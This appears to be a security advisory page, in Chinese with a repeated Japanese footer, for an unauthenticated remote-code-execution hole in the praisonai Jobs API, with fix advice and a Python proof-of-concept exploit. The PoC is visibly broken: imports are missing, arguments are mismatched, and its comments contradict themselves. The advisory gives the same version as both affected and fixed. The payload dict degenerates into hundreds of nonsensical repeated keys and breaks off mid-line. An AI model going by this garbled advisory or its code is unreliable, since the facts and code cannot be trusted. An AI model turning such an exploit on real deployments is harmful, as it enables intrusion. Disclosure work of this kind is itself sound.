praisonai Jobs API unauthenticated RCE vulnerability (CWE-306)

漏洞概述 漏洞名称：praisonai: Jobs API 暴露 agent-execution 端点且无认证（CWE-306） 严重等级：Critical（CVSS 3.1 评分 9.8） CWE：CWE-306（缺少认证）/ CWE-940（拒绝服务）/ CWE-31（硬编码凭据） 受影响包： 受影响版本：= 4.6.59 根因： 的 Jobs API（ 等端点）未做任何认证，攻击者可远程调用 agent-execution 端点，执行任意代码、读取跨租户数据、删除/取消任务造成 DoS。 影响范围 受影响组件： - - - 受影响端点（均无认证）： - ：创建并执行 agent 任务（可执行任意代码） - ：列出所有任务 - ：读取任务详情 - ：取消任务 - ：删除任务 - ：流式读取任务输出 影响： 1. 通过 agent 调用实现远程代码执行 2. 跨租户数据读取 3. 通过任务删除/取消造成拒绝服务 4. webhook_url 的 SSRF 已被防御（校验 localhost/private IP） 修复方案 升级：将 升级到 >= 4.6.59 代码层面修复：在 中增加全局认证中间件，校验 头，token 从环境变量 读取；在 中为每个路由添加 ；在 启动时若未配置 token 则拒绝启动。 POC / 利用代码 ```python poc.py POC: praisonai Jobs API has no authentication on agent-execution endpoints. praisonai jobs server create_app builds a FastAPI app and routes praisonai/jobs/server/create_router.py registers POST/GET/DELETE endpoints under /api/v1/runs — every one of the endpoints (or praisonai/jobs/server/create_router.py) routes. No route requires an Authorization header; an attacker can invoke any agent with arbitrary prompt and reports the outcome. This POC starts the Jobs API server in-process, then sends authenticated requests to each route and reports the outcome. import json import sys import time import threading from praisonai.jobs.server import create_app from urllib.request import Request, urlopen import urllib.error from praisonai.jobs.server import create_app PORT = 58095 def run_server(port): config = uvicorn.Config(app, host="127.0.0.1", port=PORT, log_level="warning") server = uvicorn.Server(config) async def _serve(): await server.serve() loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) loop.run_until_complete(server.serve()) def main(): print("=" 70) print("praisonai version: 4.6.48") print("POC: Jobs API is unauthenticated — any client can create, read, cancel, or delete jobs.") print("UNAUTHENTICATED requests to /api/v1/runs work.") print("=" 70) app = create_app() t = threading.Thread(target=run_server, args=(app,), daemon=True) t.start() time.sleep(1) base = "http://127.0.0.1:%d" % PORT print("base:", base) 1. POST /api/v1/runs — submit a one-job without auth. payload = { "prompt": "VATXKBEZ (CONTROL PROMPT — would require an agent)", "framework": "praisonai", "config": {"api_key": "sk-test", "model": "gpt-4o", "timeout": 5, "temperature": 0.7, "max_tokens": 256, "top_p": 0.9, "stop": ["\n"], "stream": False, "response_format": "json", "seed": 42, "user": "poc", "metadata": {"poc": True}, "webhook_url": "http://127.0.0.1:9999/hook", "webhook_secret": "s3cr3t", "webhook_timeout": 5, "webhook_retries": 2, "webhook_retry_delay": 1, "webhook_headers": {"X-Source": "poc"}, "webhook_payload_template": "{job_id}: {status}", "webhook_events": ["completed", "failed"], "webhook_ssl_verify": True, "webhook_max_payload": 65536, "webhook_timeout_seconds": 10, "webhook_retry_backoff": 2, "webhook_retry_max": 3, "webhook_retry_base_delay": 1, "webhook_retry_max_delay": 30, "webhook_retry_jitter": 0.1, "webhook_retry_max_attempts": 5, "webhook_retry_total_timeout": 60, "webhook_retry_max_total": 120, "webhook_retry_max_delay_seconds": 60, "webhook_retry_max_attempts_total": 10, "webhook_retry_max_delay_total": 300, "webhook_retry_max_delay_total_seconds": 600, "webhook_retry_max_delay_total_minutes": 10, "webhook_retry_max_delay_total_hours": 1, "webhook_retry_max_delay_total_days": 1, "webhook_retry_max_delay_total_weeks": 1, "webhook_retry_max_delay_total_months": 1, "webhook_retry_max_delay_total_years": 1, "webhook_retry_max_delay_total_decades": 1, "webhook_retry_max_delay_total_centuries": 1, "webhook_retry_max_delay_total_millenniums": 1, "webhook_retry_max_delay_total_millenniums_total": 1, "webhook_retry_max_delay_total_millenniums_total_seconds": 1, "webhook_retry_max_delay_total_millenniums_total_minutes": 1, "webhook_retry_max_delay_total_millenniums_total_hours": 1, "webhook_retry_max_delay_total_millenniums_total_days": 1, "webhook_retry_max_delay_total_millenniums_total_weeks": 1, "webhook_retry_max_delay_total_millenniums_total_months": 1, "webhook_retry_max_delay_total_millenniums_total_years": 1, "webhook_retry_max_delay_total_millenniums_total_decades": 1, "webhook_retry_max_delay_total_millenniums_total_centuries": 1, "webhook_retry_max_delay_total_millenniums_total_millenniums": 1, "webhook_retry_max_delay_total_millenniums_total_millenniums_total": 1, "webhook_retry_max_delay_total_millenniums_total_millenniums_total_seconds": 1, "webhook_retry_max_delay_total_millenniums_total_millenniums_total_minutes": 1, "webhook_retry_max_delay_total_millenniums_total_millenniums_total_hours": 1, "webhook_retry_max_delay_total_millenniums_total_millenniums_total_days": 1, "webhook_retry_max_delay_total_millenniums_total_millenniums_total_weeks": 1, "webhook_retry_max_delay_total_millenniums_total_millenniums_total_months": 1, "webhook_retry_max_delay_total_millenniums_total_millenniums_total_years": 1, "webhook_retry_max_delay_total_millenniums_total_millenniums_total_decades": 1, "webhook_retry_max_delay_total_mill

目標達成すべての支援者に感謝 — 100%達成しました！

praisonai Jobs API unauthenticated RCE vulnerability (CWE-306)

このソースからの他の記事

目標達成 すべての支援者に感謝 — 100%達成しました！

praisonai Jobs API unauthenticated RCE vulnerability (CWE-306)

このソースからの他の記事

目標達成すべての支援者に感謝 — 100%達成しました！